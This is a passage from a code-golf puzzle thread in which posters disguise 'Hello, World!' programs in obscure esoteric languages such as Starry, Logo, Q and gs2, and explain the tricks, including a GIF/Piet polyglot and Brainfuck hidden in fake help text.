`uryyb jbeyq` ) ( mock arch ) ) ( bark ( harsh hippy apps ) ( tap chias ) ( spirit say anarchy ) ( eat pudding now ) ( charity yay yay ) ( sparky spiral ) ( hip hip `happily` ) ( shabby aid ) ( fig crave seed ) ( spared pugs ) ) ``` --- Headsecks is an encoding to BF via code points modulo 8. The above program, when converted, gives ``` ++>--++[-<>.++,..]+<-+>+>+++++-<+++-<+++-+><++++-[>+>+-<>+-<+++->++>+-<>++-<++++->+++>+-<>++-<++++-<>>++>[-++,+-.+><,]++-<-<+++->><+++>+--[+><,.,+.-+]+-<++++-+>><-++-<+++<<<<+--]>+-<+++>>-+>+-.>+-<+++>+-++-<>>+-<+++<-+>++-.+>+-<+++-<>+>-++-<+++.+-.++-++-+.-++-<+-<-<+++--<>+<--+->+-<-[<+++[-++[-++-,>+]]<..+-<++++,<<-[]>+-<,+<,.+-<+++]+->++>-++-+.<-+>+-<.>+-<>+-<+++>+-+>++->>+><-[,+,+-,+-<++++,.>++,<--<+<<,--++-<+++,]>>+-<>++-<-<++<-<><++++-<>+++-++-+-++>+-<+++.-++>+-->+-<+++>+-<-.+>--+-[-<>+-+-<+++,-.++,..-[]+[]]+-<+++>+-<-.-+---+---+-<+++>+-<>-+>+-<-.+-<++++-+++-++++-++-.-++-<+++>+-<<-+--.+-<+++[-]+><-[,+>,,.+-<+++>+-<,.++,]>+-<- ``` There's a lot of useless pairs like `+-` or `<>` in there, and stripping those away gives ``` ++>[-.++,..]++>++++<++<++++++[>+++>++>+<+++>+++>+<+++>++>[+,.+,]+<-<++>+++>-[+,.,+.]<+++++++<<<<-]+++>>>.+++>+++++.+++++++..+++.<<-<++<---[<+++[+[,>+]]<..<++++,<<-[],+<,.<+++]>++>+.<.+++>+>+>>[,+,,<++++,.>++,<--<+<<,-<+++,]>>+<-<++<-<+++++++++++.+>+.+>--[-<+++,-.++,..-[]+[]]<++.-----<+++>-.<+++++++++.<+++<--.<+++[-][,+>,,.<+++,.++,]- ``` You might notice that a few loops have `,` (input) in them - these loops are never run, and merely serve to add `e`s to a program which otherwise would have suspiciously had only `a`s and `i`s as its only vowels. The syntax, backticks, extraneous `)`, etc. were all red herrings. [Answer] # [???](http://esolangs.org/wiki/%3F%3F%3F), 344 bytes, cracked by jimmy23013 [![source code](https://i.stack.imgur.com/0Uyao.gif)](https://i.stack.imgur.com/0Uyao.gif) Here's a hexdump of the file:​​​​​​​​​​​​​​​ ``` 0000000: 47 49 46 38 37 61 0d 00 0d 00 85 13 00 00 00 00 GIF87a.......... 0000010: 00 00 c0 00 00 ff 00 c0 00 00 ff 00 00 c0 c0 00 ................ 0000020: ff ff c0 00 00 ff 00 00 c0 00 c0 ff 00 ff c0 c0 ................ 0000030: 00 ff ff 00 c0 c0 ff c0 ff c0 c0 ff ff ff c0 c0 ................ 0000040: ff c0 ff ff ff c0 2c 2c 2c 2c 2c 2c 2c 2c 22 27 ......,,,,,,,,"' 0000050: 3b 2e 3b 2e 2e 2e 2e 2e 3b 2c 2c 3b 2c 2c 3b 2c ;.;.....;,,;,,;, 0000060: 2c 2c 3b 2e 2e 2e 2e 3b 2c 2c 2c 2c 2c 2c 2d 2d ,,;....;,,,,,,-- 0000070: 2d 2d 2d 2d 2d 2c 2c 2c 2c 2c 2c 2c 22 3b 21 3b -----,,,,,,,";!; 0000080: 2c 2c 2c 21 3b 2c 2c 2c 2c 21 21 3b 2c 21 3b 2e ,,,!;,,,,!!;,!;. 0000090: 2e 2e 2e 21 3b 21 3b 2e 2e 2e 2e 2e 2e 2e 21 2d ...!;!;.......!- 00000a0: 2d 2d 21 2e 2e 2e 21 2d 21 2d 2c 21 3b 3b 3b 3b --!...!-!-,!;;;; 00000b0: 2e 2e 2e 2e ff ff ff ff ff ff ff ff ff ff ff ff ................ 00000c0: ff ff ff ff ff ff ff ff ff ff ff ff ff 2c 00 00 .............,.. 00000d0: 00 00 0d 00 0d 00 00 05 7d 20 d3 08 41 52 2c 83 ........} ..AR,. 00000e0: c1 28 89 03 05 46 f1 8c 2c eb 16 0c 81 48 11 34 .(...F..,....H.4 00000f0: 06 12 c8 e2 c1 1b 30 7c 32 84 68 30 20 24 14 11 ......0|2.h0 $.. 0000100: 80 34 72 20 08 44 82 45 14 e0 90 42 10 81 85 04 .4r .D.E...B.... 0000110: 71 68 70 1d 5d 09 23 c1 23 0c 14 52 83 74 f5 70 qhp.].#.#..R.t.p 0000120: 3c 18 81 83 04 10 00 48 16 06 0d 0f 06 07 05 09 <......H........ 0000130: 11 0a 6f 11 0d 05 0e 12 0d 09 33 0b 0c 03 75 41 ..o.......3...uA 0000140: 04 11 0c 0b 05 08 5f 10 07 08 04 86 0a 31 9d 11 ......_......1.. 0000150: 4f 94 93 06 03 21 00 3b O....!.; ``` I've started with a Piet program which prints `Hello, world!`. The image itself contained a few valid ??? instructions (`,,,!;`), but not enough to cause problems. The following ??? program produces the desired output and ends with the instructions found in the image: ``` ,,,,,,,,"';.;.....;,,;,,;,,,;....;,,,,,,-------,,,,,,,";!; ,,,!;,,,,!!;,!;....!;!;.......!---!...!-!-,!;;;;....,,,!; ``` To hide it inside the image, I increased number of colors in the global palette from 32 to 64 (this is what the 0x85 byte on the first line specifies) and replaced the first 110 bytes of the unused colors in the palette with the first 110 bytes of the ??? program. The result is the first ever Piet/??? polyglot. [Answer] # [???](http://esolangs.org/wiki/%3F%3F%3F), 1052 bytes, cracked by [Alex A.](https://codegolf.stackexchange.com/users/20469/alex-a) ``` >${\.*. @.)]($| ../..<$ ])*`#]<(.#^ @:">_,;;.}_ .:])%#](~^. :/+.";.;$\:`]\ }.};.;`%..;*.] `[_#]..>`^[{"- '\/<"'/;,{<'<"'; =(`>;;.;.($(::;. >"$`$-|=_:'"+'[- >`-$'\ #"';;( <%;;.> }\;/#_ +~%#.. ~.<++@ +^~^.$ ;][+(~ !;=#)( /~\,], ,!@#.@ .]...| ..}_!& #<![(" =,};[+ /<:&:> *.;_.- -)'=#" '<@:>\ ;+.&.@ ~%@)^( %.+!_^ <(/~-_ `_-/=- *+^<]! +--[[^ >!;;[| ;;=).. *]+%%. .@]+"( ,[-.}. .]<.;' $]+`%* [{"$*' `$(]-, _!~;_> @/;%!. $#..!; !,&[\, ::{> ^,%~ (,{< >,, ,|, _\= &%%]} *`&@! =}]`- \~~ --- -^! ``` [Answer] # [Treehugger](http://esolangs.org/wiki/Treehugger), 284 bytes, cracked by Sp3000 This program will run in at least 4 languages. However, only one of them produces the correct result... ``` /*::=a a::=~Hello bb::=~World dd::=~! ::= dbcacbd ++++++++++[>+++++++ >++++++++++>+++>+ <^^<^^<^^<^^-]>++.>+. +++++++..+++.<+++++++++++ +++++++++++++++++++++++++++++++++. ^>++.<^^<^^+++++++++++++++.>.+++. ------.--------.>+.>.[-]- */alert("Hello"+String["fromCharCode"](42)+" World!") ``` # Explanation: After you strip out all the ignored characters you get this: ``` ++++++++++[>+++++++>++++++++++>+++>+<^^<^^<^^<^^-]>++.>+.+++++++..+++.<++++++++++++++++++++++++++++++++++++++++++++.^>++.<^^<^^+++++++++++++++.>.+++.------.--------.>+.>.[-]-+[]+ ``` Stripping some no-op character combinations yields this: ``` ++++++++++[>+++++++>++++++++++>+++>+^^^^-]>++.>+.+++++++..+++.<++++++++++++++++++++++++++++++++++++++++++++.^>++.^^+++++++++++++++.>.+++.------.--------.>+.>.[-][]+ ``` Which is essentially a translation of the Brainf\*\*\* "Hello World!" but with some extra code (`<++++++++++++++++++++++++++++++++++++++++++++.^`) to add in the comma. [Answer] # [Wake](http://esolangs.org/wiki/Wake), 17 bytes ``` ":"Hello, World!" ``` According to the [official website](http://shinh.skr.jp/wake/), > > Wake is a programming language which has the essences of Makefile, regular expressions, and pattern matches of functional programming languages. > > > Wake was created by **shinh** and can be tested on his golf server [Anarchy Golf](http://golf.shinh.org/l.rb?wake). The code consists of a single line containing a target/label and an action. Since the action is a string literal, it gets printed to STDOUT. Using `"` for the target served two purposes: * It provides polyglot protection. Clip and Foo print `:`; GolfScript and CJam raise a syntax error because of an unfinished string. * It provides a little uncertainty about how the code is supposed to work. [Answer] # [Starry](https://esolangs.org/wiki/Starry), 3039 bytes, cracked by [Sp3000](https://codegolf.stackexchange.com/users/21487/sp3000) Here is something to get you started. ``` D]zL KyWp" YzCMJ i5 z Huqf sl o -L)K+ =N@ /(t?B? 2ILb Q1 et!x | # Av 70D S7? SNk C j+Ece|2< /I )2bIo*GSs| Oa71c M =JXe$b 34xD bU -hz+G V q<EW"? ui cX{3c "&Cz*H#[p 5("&+o~ogrR K.@Kjv1- XW"#57 0B_A b^"> dryK5> X uI_ WVL[ W/ aTWgC`-^2s ;~ EB V k@r! $: ~pd_q i+^ f~ KM/os w M7#ml3 W|j jn( "M TA} ORhGH 3UL9R Q~5%K< DOE+o)Yh h )@v o||o<$ yg^ lIVABN _K{bVv @7zz/s <h id$ M;g `k 9 V!"uH6*) 0 )L%0?S !M s~jc+?RwTzu Om& KfsgLI | i| qD*kFwF K5S0k` "_^P^ / D)}Xr2 lB% *KC?\ } b1 }> O?? K#l gP3Q ^Ju6V: JO@(" F";_\ L{2!pS 4 #:9P QB^ce t4 Z] q;qg K&;m \y eImrT7 6T:Jv I[`n W;O9g#+YxP 6<x( bp0b!Z C4 Q] >-ACC 8ZaS9 {1(bq H: k9y_sd sW`<87zh >#@w.Gz2VD M;$uS >]o>n j] J(Jx ^ bP{ cJ;4i 7L9 z?]B S~E_>p w~ m YneIy \k 6?[~b`pqSj iVXqc3 \i #3 FLB8} e#N yED Bq8_S% )|1;^+QJM}\$ 83qJ h/)3 GeS UK}bL *EV:- !Ynm=+U3X/ .%f 6 l+ibEu uo XW &OX Q] hPls4q >Zb /[9 Z?R(R w ( J$` ~. f |wxr}~ [@BX_ lZ Z); tQv+M_?x tv;$x8 dk C5 xI-u &2$8ni*Lk6 KGZ 1LeRd -TT fMeV %A4 f^2l x Er| G W >zPR6D`1<4> &I(#6u+Kc}YX dfbz N 2|#sN`M K{].mu( VOr 7 Gba ) FHux\ 0 ZW@D NUPZs 9; j/m>[D 1% KG9p]+i5[ m= )(" 0<K(N# WCP 8 mr~NZ 62vC= Jv8{ > >t~ &D i zSs3?p Qa 52 pE hi a?3Jvj`Z;bq nKLIo [}03\X VuY j4 GC99 &HJ9v > :u H&0w\3 -D Mc(sJ|+jk DG T%VgMW*6DUL@- II]o]K q?Y qbB/H {o -(`t DGFA U6RG ~ {H&4?x q}$ Pk3 nt- Bt8+EG tzQ6E v-JVj< 4z#g (n|/#D H9 "" YBjh )=otS`A Ndb_ ~ $1 a~283 s*?E6& !=l*J #+ B6s l1Y` M-2. {DmE}) S7 q0 wi=t| HWB >% U2 _:m$R M" fwBmS 7vL -LPN> nxJX; :7] +s^] * 7JNa.vUxaBm y0ag x0<y \ l18;v y hi ehIaK2 MgU UZj ?%5?M ]M (0 zJ {V8 }j FW= Jz<q_s`TacD<{ n |cp("q a6Ry S Go2/h) h n?W {^fG DK!c i cr)U?\ D 8+8H @NPnx c>b?VZ /%e ?aR08 1TfX k\ CoG QMkqF J{ mH&{V- kk~ X^! FDt?I\ s{XE8 ` F+y8X?g YXD&MY k|2|#w yqCSZ T % h T%`2R!@x !gw6a1 [BXv*= G-E 04l xWS" jp CC A n#0g-5 J![ h~ \CE1+Gk? SR Z# H [IB:^ cK{P1/ ;x6xd*<bNy! 0"uw+X\@7[ &zR#q2 ? wppwT zd0=EV 3 F{@ ; }8lQTx T a<u0? 3[S|RT IZ:l| &AR sL[KQm >c86| ( S#r - B !]/n` 5:HRb.G < w5{_ i jVb2M 9;@d txXH #SKp6L ="(uR n0{$O ANP9 I7 U>F{w+Ywf\ a@^4d $8 cMy94 xLE aS "KO@2k 1D!:_M @u < d;~r @mVwX: 7p&u 9a h) nNXL 2J!V1 CfBklI 0b02d {bGtSQ M:eLc`qq"b b4uBx i ]6 f d}zY ( ><G+ "q:ou *g4-6 #;Du ?)z=; ] * }iR]C+[5O [ l 0z"&Xm :LZa^S 4K/q5 g/ !r?-)h =]k 6 C }/!gM Aa 5 G ly^p_X 0fCz6 <zq aHVTV 4me4] w~ F2d`k 3.W I> " OW SZ)WHq "eaA} HieV+]jr2 dbXw VVq ZWJ E f% x " Q8K7 46@ tpaar% ^_8K{ 7gq J3wt G1 _ K3d )Qv5`DN C"(e> Q8F7_ ]]fiX$ CmW# uF nmlV*# ZW+qYw $]OJY tOj| U-e : N [9Zylm vH"` ~. Y U^U R Qq x$ =]<DQ] _@ %47K 1nw -!D^o5+r %(ZC|*5hY]i StC= me^"C zp5 ~Wve 0TTcmq 4I $Z; g`xfH4v^ \+dU ^-eg.m5oTt c 4 6FG$o !nQ? sD}92 kA$ W:E)y =QG6 z~krS0` %<}?w$ p[_wXX j})itG d(5| 9z9m 3< j(t?Mj |4ku p6T% 8=I$I %Dwh~t+V@p UT*a} F C C&E}vk z lA /; 7%UG 86]d H | Y@nV OH} < Zh5l hIq 6Z GEx6! ceq 8r;cej lH 8`r }MM~ 4R+ ~Ya.7}|IJ u }r)w RTQ0&& /Fl: v5: tr& d4g ]> IwH| !rG{ 3hf+VD9&g H y0 Q Jt& h$?jcz =B mT O|{ Xv&onm !Gw+B tyD*7sfe@ 6JFoQa 4lT ! Dqb D:v(HS Z 0bC-C\ 5= #+ n E Lm{sM0 jacb* rt5*Rn = 1&b7 &$K} 5i-E`FI{#m ^;+G -[mik.LM ``` --- First, Starry ignores everything except spaces and `+*.,`'`. So let's get rid of all that junk: ``` + + * + * + . ` + + ` * + * ` * ` + ` . ` + * + . + ` . + * ` + ` . + ` + * ` + ` * * + ` . + * . ` + ` + ` * + * + ` . + ` + * * + ` . + ` * + ` . + * ` + . ` + * ` + . + + * + * * ` + . ``` Now each string of spaces followed by a non-space is one command. The semantics of the command are determined by the number of spaces and which non-space is used. For a start, the backticks only create labels which we never jump to, so we can get rid of those: ``` + + * + * + . + + * + * * + . + * + . + . + * + . + + * + * * + . + * . + + * + * + . + + * * + . + * + . + * + . + * + . + + * + * * + . ``` At this point, this is almost exactly [the Hello World example on the esolangs page](https://esolangs.org/wiki/Starry#Hello.2C_world.21), except that I had to modify it to get an upper-case `W`. So to obfuscate it, I first added in the backticks, because they didn't cause any problems (I couldn't add in `,` or `'`, because they are input and jumps, respectively). And then I just added random characters other than the reserved ones such that the frequency of all non-space characters is roughly the same. [Answer] # [Brainfuck](https://en.wikipedia.org/wiki/Brainfuck), 2545 bytes, cracked by [Sp3000](https://codegolf.stackexchange.com/users/21487/sp3000) Just for fun. ``` # [-*- coding: latin-1 -*-] #define """ " #define \ " import sys if len(sys.argv) > 1: print """ Usage: " /*confused [options] "{input file}" Options: --version show program's version number and exit -h! --help show this help message and exit -o {file path}! --outfile=[path to the output file you want to write to) Save output to the given file! (this > that) """ + '>' + ' ' + 'H' + 'e' + 'l' + """ :> --destdir={file path} > Save output to the given directory! This option is required when handling multiple files! Defaults to '!/minified' and will be created if not present! --nominify Don't bother minifying > (only used with pyz)! --use-tabs Use obfuscated tabs! >""" + 'l' + 'o' + ' ' + """ :> --bzip2 bzip2-compress the result into a self-executing python script! Only works on stand-alone scripts without implicit imports! -g gzip compress the result into a self executing python script! Only works on standalone scripts without implicit imports! */ cout << "H" << "e" << "l" /* <: --lzma lzma-compress the result into a self-executing python script! Only works on stand-alone scripts without implicit imports! --pyz={name of archive} zip compress the result into a self executing python script! This will create a new file that includes any necessary implicit (local to the script] modules! (╯>.>)╯︵ ┻━┻) Will include/process all files given as arguments to pyminifier!py on the command line! -O! --obfuscate Obfuscate all function/method names and unobfuscated classes! Default is to NOT obfuscate. :> --obfuscate-classes Obfuscate self-referential class names. Explain. :> -s Obfuscate. > """ + 'W' + 'o' + 'r' + """Obfuscate. :> The walrus and the carpenter. > """ + 'l' + 'd' + '!' + ' ' + 'H' + 'e' + """. */ cout << "llo World!" /* <. """ + 'l' + 'l' + """"Explain. <: Explain. <: -t Obfuscate variable names. i >> j >>""" + """ Explain. """ print "Hello, World?" ``` [Answer] # [Logo](https://en.wikipedia.org/wiki/Logo_(programming_language)), 14292 bytes, cracked by Gareth McCaughan ``` make 'clean [template <class _Container> class back_insert_iterator ( protected: _Container* container; public: typedef _Container container_type; typedef output_iterator_tag iterator_category; typedef void value_type; typedef void difference_type; typedef void pointer; typedef void reference; explicit back_insert_iterator(_Container& __x) : container(&__x) () back_insert_iterator<_Container>& operator=(const typename _Container::value_type& __value) ( container->push_back(__value); return *this; ) back_insert_iterator<_Container>& operator*() ( return *this; ) back_insert_iterator<_Container>& operator++() ( return *this; ) back_insert_iterator<_Container>& operator++(int) ( return *this; ) ) ] type char count [ #ifndef __STL_CLASS_PARTIAL_SPECIALIZATION template <class _Container> inline output_iterator_tag iterator_category(const back_insert_iterator<_Container>&) ( return output_iterator_tag(); ) #endif /* __STL_CLASS_PARTIAL_SPECIALIZATION */ template <class _Container> inline back_insert_iterator<_Container> back_inserter(_Container& __x) ( return back_insert_iterator<_Container>(__x); ) template <class _Container> class front_insert_iterator ( protected: _Container* container; public: typedef _Container container_type; typedef output_iterator_tag iterator_category; typedef void value_type; typedef void difference_type; typedef void pointer; typedef void reference; explicit front_insert_iterator(_Container& __x) : container(&__x) () front_insert_iterator<_Container>& operator=(const typename _Container::value_type& __value) ( container->push_front(__value); return *this; ) ] type char count [ front_insert_iterator<_Container>& operator*() ( return *this; ) front_insert_iterator<_Container>& operator++() ( return *this; ) front_insert_iterator<_Container>& operator++(int) ( return *this; ) ); #ifndef __STL_CLASS_PARTIAL_SPECIALIZATION template <class _Container> inline output_iterator_tag iterator_category(const front_insert_iterator<_Container>&) ( return output_iterator_tag(); ) #endif /* __STL_CLASS_PARTIAL_SPECIALIZATION */ template <class _Container> inline front_insert_iterator<_Container> front_inserter(_Container& __x) ( return front_insert_iterator<_Container>(__x); ) template <class _Container> class insert_iterator ( protected: typename _Container::iterator iter; public: typedef _Container container_type; typedef output_iterator_tag iterator_category; typedef void value_type; typedef void difference_type; typedef void pointer; typedef void reference; insert_iterator(_Container& __x, typename _Container::iterator __i) : container(&__x), iter(__i) () insert_iterator<_Container>& operator=(const typename _Container::value_type& __value) ( iter = container->insert(iter, __value); ++iter; return *this; ) insert_iterator<_Container>& operator*() ( return *this; ) ] type char count [ insert_iterator<_Container>& operator++() ( return *this; ) insert_iterator<_Container>& operator++(int) ( return *this; ) ); #ifndef __STL_CLASS_PARTIAL_SPECIALIZATION template <class _Container> inline output_iterator_tag iterator_category(const insert_iterator<_Container>&) ( return output_iterator_tag(); ) #endif /* __STL_CLASS_PARTIAL_SPECIALIZATION */ template <class _Container> inline front_insert_iterator<_Container> front_inserter(_Container& __x) ( return front_insert_iterator<_Container>(__x); ) template <class _Container> class insert_iterator ( protected: _Container* container; typename _Container::iterator iter; public: typedef _Container container_type; typedef output_iterator_tag iterator_category; typedef void value_type; typedef void difference_type; typedef void pointer; typedef void reference; insert_iterator(_Container& __x, typename _Container::iterator __i) :container(&__x), iter(__i) () insert_iterator<_Container>& operator=(const typename _Container::value_type& __value) ( iter = container->insert(iter, __value); ++iter; return *this; ) insert_iterator<_Container>& operator*() ( return *this; ) insert_iterator<_Container>& operator++() ( return *this; ) insert_iterator<_Container>& operator++(int) ( return *this; ) ); ] type char count [ #ifndef __STL_LIMITED_DEFAULT_TEMPLATES template <class _BidirectionalIterator, class _Tp, class _Reference = _Tp&, class _Distance = ptrdiff_t> #else template <class _BidirectionalIterator, class _Tp, class _Reference, class _Distance> #endif class reverse_bidirectional_iterator ( typedef reverse_bidirectional_iterator<_BidirectionalIterator, _Tp, _Reference, _Distance> _Self; protected: _BidirectionalIterator current; public: typedef bidirectional_iterator_tag iterator_category; typedef _Tp value_type; typedef _Distance difference_type; typedef _Tp* pointer; typedef _Reference reference; reverse_bidirectional_iterator() () explicit reverse_bidirectional_iterator(_BidirectionalIterator __x) : current(__x) () _BidirectionalIterator base() const ( return current; ) _Reference operator*() const ( _BidirectionalIterator __tmp = current; return *--__tmp; ) #ifndef __SGI_STL_NO_ARROW_OPERATOR pointer operator->() const ( return &(operator*()); ) #endif /* __SGI_STL_NO_ARROW_OPERATOR */ _Self& operator++() ( --current; return *this; ) _Self operator++(int) ( _Self __tmp= *this; --current; return __tmp; ) ] type char count [ _Self& operator--() ( ++current; return *this; ) _Self operator--(int) ( _Self __tmp = *this; ++current; return __tmp; ) ); #ifndef __STL_CLASS_PARTIAL_SPECIALIZATION template <class _BidirectionalIterator, class _Tp, class _Reference, class _Distance> inline bidirectional_iterator_tag iterator_category(const reverse_bidirectional_iterator<_BidirectionalIterator, _Tp, _Reference, _Distance>&) ( return bidirectional_iterator_tag(); ) template <class _BidirectionalIterator, class _Tp, class _Reference, class _Distance> inline _Tp* value_type(const reverse_bidirectional_iterator<_BidirectionalIterator, _Tp, _Reference, _Distance>&) ( return (_Tp*) 0; ) template <class _BidirectionalIterator, class _Tp, class _Reference, class _Distance> inline _Distance* distance_type(const reverse_bidirectional_iterator<_BidirectionalIterator, _Tp, _Reference, _Distance>&) ( return (_Distance*) 0; ) #endif /* __STL_CLASS_PARTIAL_SPECIALIZATION */ template <class _BiIter, class _Tp, class _Ref, class _Distance> inline bool operator==( const reverse_bidirectional_iterator<_BiIter, _Tp, _Ref, _Distance>& __y) ( return __x.base() == __y.base(); ) ] type char count [ #endif /*__STL_CLASS_PARTIAL_SPECIALIZATION*/ template <class _BiIter , class _Tp , class _Ref , class _Distance> inline bool operator ==( const reverse_bidirectional_iterator <_BiIter , _Tp, _Ref , _Distance>& __x, const reverse_bidirectional_iterator <_BiIter , _Tp, _Ref , _Distance>& __y) ( return __x.base() == __y.base(); ) #ifdef __STL_FUNCTION_TMPL_PARTIAL_ORDER ] type char count [ template <class _BiIter, class _Tp, class _Ref, class _Distance> inline bool operator!=( const reverse_bidirectional_iterator<_BiIter, _Tp,_Ref, _Distance>& __x, const reverse_bidirectional_iterator<_BiIter, _Tp,_Ref, _Distance>& __y) ( return !(__x== __y); ) inline bool operator!=(const reverse_iterator<_Iterator>& __x, ] type char count [ const reverse_iterator<_Iterator>& __y) ( return !(__x == __y); ) template <class _Iterator> inline bool operator>(const reverse_iterator<_Iterator>& __x, const reverse_iterator<_Iterator>& __y) ( return __y < __x; ) template <class _Iterator> inline bool operator<=(const reverse_iterator<_Iterator>& __x, const reverse_iterator<_Iterator>& __y) ( return !(__y < __x); ) template <class _Iterator> inline bool operator>=(const reverse_iterator<_Iterator>& __x, const reverse_iterator<_Iterator>& __y) ( return !(__x < __y); ) #endif /*__STL_FUNCTION_TMPL_PARTIAL_ORDER */ #ifdef __STL_CLASS_PARTIAL_SPECIALIZATION // This is the new version of reverse_iterator, as defined in the // draft C++ standard. It relies on the iterator_traits // ] type char count [ // which in turn relies on partial specialization. The class // reverse_bidirectional_iterator is no longer part of the draft // standard, but it is retained for backward compatibility. template <class _Iterator> class reverse_iterator ( protected: _Iterator current; public: typedef typename iterator_traits<_Iterator>::iterator_category iterator_category; typedef typename iterator_traits<_Iterator>::value_type value_type; typedef typename iterator_traits<_Iterator>::difference_type difference_type; typedef typename iterator_traits<_Iterator>::pointer pointer; typedef typename iterator_traits<_Iterator>::reference reference; typedef _Iterator iterator_type; typedef reverse_iterator<_Iterator> _Self; public: reverse_iterator() () explicit reverse_iterator(iterator_type __x) : current(__x) () template <class _Iterator> inline bool operator>(const reverse_iterator<_Iterator>& __x, const reverse_iterator<_Iterator>& __y) ( return __y < __x; ) template <class _Iterator> inline bool operator<= ( const reverse_iterator<_Iterator> & __x, const reverse_iterator<_Iterator> & __y) ( return !(__y < __x); ) ] type char count [ // This is the old version of reverse_iterator, as found in the original // HP STL. It does not use partial specialization. #ifndef __STL_LIMITED_DEFAULT_TEMPLATES template <class _RandomAccessIterator, class _Tp, class _Reference = _Tp&, class _Distance = ptrdiff_t> #else template <class _RandomAccessIterator, class _Tp, class _Reference, class _Distance> #endif class reverse_iterator ( typedef reverse_iterator<_RandomAccessIterator, _Tp, _Reference, _Distance> _Self; protected: _RandomAccessIterator current; public: typedef random_access_iterator_tag iterator_category; typedef _Tp value_type; typedef _Distance difference_type; typedef _Tp* pointer; typedef _Reference reference; reverse_iterator() () explicit reverse_iterator(_RandomAccessIterator __x) : current(__x) () _RandomAccessIterator base() const ( return current; ) _Reference operator*() const ( return *(current - 1); ) #ifndef __SGI_STL_NO_ARROW_OPERATOR pointer operator->()const(return &(operator*());) #endif /* __SGI_STL_NO_ARROW_OPERATOR */ _Self& operator++() ( --current; return *this; ) ] type char count [ _Self operator++(int) ( _Self __tmp = *this; --current; return __tmp; ) _Self& operator--() ( ++current; return *this; ) _Self operator--(int) ( _Self __tmp = *this; ++current; return __tmp; ) _Self operator+(_Distance __n) const ( return _Self(current - __n); ) _Self& operator+=(_Distance __n) ( current -= __n; return *this; ) _Self operator- (_Distance __n) const ( return _Self(current + __n); ) _Self& operator-=(_Distance __n) ( current += __n; return *this; ) _Reference operator[] (_Distance __n ) const ( return * ( * this + __n); ) ); template <class _RandomAccessIterator , class _Tp, class _Reference , class _Distance> inline random_access_iterator_tag iterator_category(const reverse_iterator<_RandomAccessIterator, _Tp, _Reference, _Distance>&) ( return random_access_iterator_tag(); ) ] type char count [ template <class _RandomAccessIterator, class _Tp, class _Reference, class _Distance> inline bool operator>(const reverse_iterator<_RandomAccessIterator, _Tp, _Reference, _Distance>& __x, const reverse_iterator<_RandomAccessIterator, _Tp, _Reference, _Distance>& __y) ( return __y < __x; ) template <class _RandomAccessIterator, class _Tp , class _Reference, class _Distance > inline bool operator<=(const reverse_iterator<_RandomAccessIterator, _Tp, _Reference, _Distance>& __x, const reverse_iterator<_RandomAccessIterator, _Tp, _Reference, _Distance>& __y) ( return !(__y < __x) ; ) template <class _RandomAccessIterator, class _Tp, class _Reference, class _Distance> inline bool operator >= (const reverse_iterator <_RandomAccessIterator, _Tp, _Reference , _Distance>& __x, const reverse_iterator <_RandomAccessIterator, _Tp, _Reference , _Distance>& __y) ( return ! (__x < __y) ; ) #endif /* __STL_FUNCTION_TMPL_PARTIAL_ORDER */ ] type char count [ template <class _Tp, class _CharT =char, class _Traits= char_traits<_CharT> > class ostream_iterator ( public: typedef _CharT char_type; typedef _Traits traits_type; typedef basic_ostream<_CharT, _Traits> ostream_type; typedef output_iterator_tag iterator_category; typedef void value_type; typedef void difference_type; ] ``` Explanation: `make` assigns a value to a variable. In this case `make 'clean` is just obfuscation, assigning a square bracketed list to a variable `clean` and then not doing anything with it. `type char count` is used to print out a character based on the number of items inside the square-bracketed list that follows it. `type` prints out a value, `char` returns a character based on an ASCII value and `count` returns the number of items in a list. So for example `type char count [ a b c d e f g h i j ]` will print out a newline character (ASCII value 10). [Try it online here](http://www.calormen.com/jslogo/) (cut and paste of source required) [Answer] # [Fission](http://esolangs.org/wiki/Fission), 67 bytes, cracked by [BrainSteel](https://codegolf.stackexchange.com/users/31054/brainsteel) Here is another one, which should be a bit simpler. ``` class P{static void Main(){System.Console.WRite("Hello, World!");}} ``` [Answer] # [Q](https://en.wikipedia.org/wiki/Q_%28programming_language_from_Kx_Systems%29), 64 bytes, cracked by [Mauris](https://codegolf.stackexchange.com/questions/54807/the-programming-language-quiz/54820#comment133250_54820) ``` -1(-9!0x010000001b0000000a000d00000048656c6c6f2c20576f726c6421); ``` Explanation: * KDB+ has its own [message protocol/serialization format](http://code.kx.com/wiki/Reference/ipcprotocol), which can be applied to strings as such: ``` -8!"Hello, World!" ``` * That gives us the long hexadecimal string above. The conversion, if you haven't guessed by now, is `-9!`. * To print it out as `Hello, World!` exactly, I need to use [`-1`](http://code.kx.com/wiki/Reference/One) to do so. Somewhat annoyingly, the number itself will get printed too, so the trailing `;` character is used to suppress that. (*it was a good run for slightly over 2 days!*) [Answer] # [~English revised](https://esolangs.org/wiki/~English#.7EEnglish_revised), 36 bytes ``` Echo "Hello," and " World!". End."!" ``` This answer contains protection against SPSS, Foo and Tiny. *sighs* Four attempts and [another answer in the same language](https://codegolf.stackexchange.com/a/55253), but my submission is *finally* safe! ### Explanation *~English* is designed to look like plain text, which is probably why the second release appends not **2** but **revised** to the language's name. Thankfully, there are aliases of the functions `Display` and `Stop`, which make *~English* not look like English. Of those aliases, I chose `Echo` and `End`, which – together with the keyword `and` – make the source code resemble a verbose scripting language rather than an esolang. The sentence ``` Echo "Hello," and " World!". ``` greets the World and ``` End. ``` stops execution, so the *Foo* protection that follows is simply ignored by the interpreter. You can download the official interpreter from [GitHub](https://github.com/AnotherTest/-English) (linked on the Esolang page). [Answer] # [Karma](http://esolangs.org/wiki/Karma), 67 bytes ``` 05\+148*+\[455**\8+\[\6+\[3]-\[46*]\[-1{-\6\++]]\\[7]-942**. :\!!@< ``` The first line pushes all the characters onto the stack, using the queue to save some bytes. The second line pops and prints until 0, which is the first char on line 1. [Answer] # gs2, 3 bytes, cracked by feersum ``` e|h ``` In `gs2`: * `e` or `\x65` is `product` on lists (such as the empty list of characters representing STDIN), so it pushes an int `1`. * `|` or `\x7c` is `power-of-2`, which changes it into 21 = 2. * `h` or `\x68` is `hello`, which is a *ridiculous* command. The story goes as follows: when designing `gs2`, I set out to beat every code golf language on shinh's golf server, but `goruby` has an easter egg command `h` that prints `Hello, world!` (note the lowercase w), allowing it to claim the #1 spot on the [hello world challenge](http://golf.shinh.org/p.rb?hello+world)'s leaderboards. I wanted to one-up goruby, so I added my own easter egg command `h` that pushes `Hello, world!` to the stack, but **allows you to customize the capitalization and punctuation by pushing an integer before it:** ``` elif t == '\x68': #= hello x = 0 if len(self.stack) >= 1 and is_num(self.stack[-1]): x = self.stack.pop() x = (range(0, 11) + [100, 1000, 16, 64, 256]).index(x) s1 = 'h' if x & 1 else 'H' s2 = 'W' if x & 2 else 'w' s3 = 